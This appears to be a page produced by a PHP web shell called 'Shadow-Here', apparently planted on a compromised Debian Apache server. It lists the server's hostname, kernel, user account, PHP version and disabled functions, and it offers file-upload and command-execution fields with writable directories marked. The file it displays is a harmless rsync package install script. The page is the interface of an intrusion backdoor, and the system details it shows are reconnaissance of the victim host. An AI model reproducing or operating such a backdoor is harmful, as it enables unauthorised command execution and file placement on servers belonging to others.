Shadow-Here


Server : Apache
System : Linux methusalix2 3.16.0-11-amd64 #1 SMP Debian 3.16.84-1 (2020-06-09) x86_64
User : hios ( 1437)
PHP Version : 5.6.40-0+deb8u12
Disable Function : proc_close,proc_open,dl,shell_exec,passthru
Directory :  /var/lib/dpkg/info/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :
Current File : //var/lib/dpkg/info/rsync.postinst
#!/bin/sh -e

action="$1"
oldversion="$2"

if [ "$action" != configure ]; then
    exit 0
fi


if [ -x /etc/init.d/rsync ]; then
    if dpkg --compare-versions "$oldversion" lt "3.0.7-2"; then
        update-rc.d -f rsync remove
    fi

    update-rc.d rsync defaults
    if [ -x /usr/sbin/invoke-rc.d ]; then
        invoke-rc.d rsync restart
    else
        /etc/init.d/rsync restart
    fi
fi

# # Remove shutdown and reboot links; this init script does not need them.
# # The wildcards are needed as we can't predict the number anymore...
# if dpkg --compare-versions "$oldversion" lt "3.0.7-2"; then
#     rm -f /etc/rc0.d/K??rsync /etc/rc1.d/K??rsync /etc/rc6.d/K??rsync
# fi

exit 0

Samx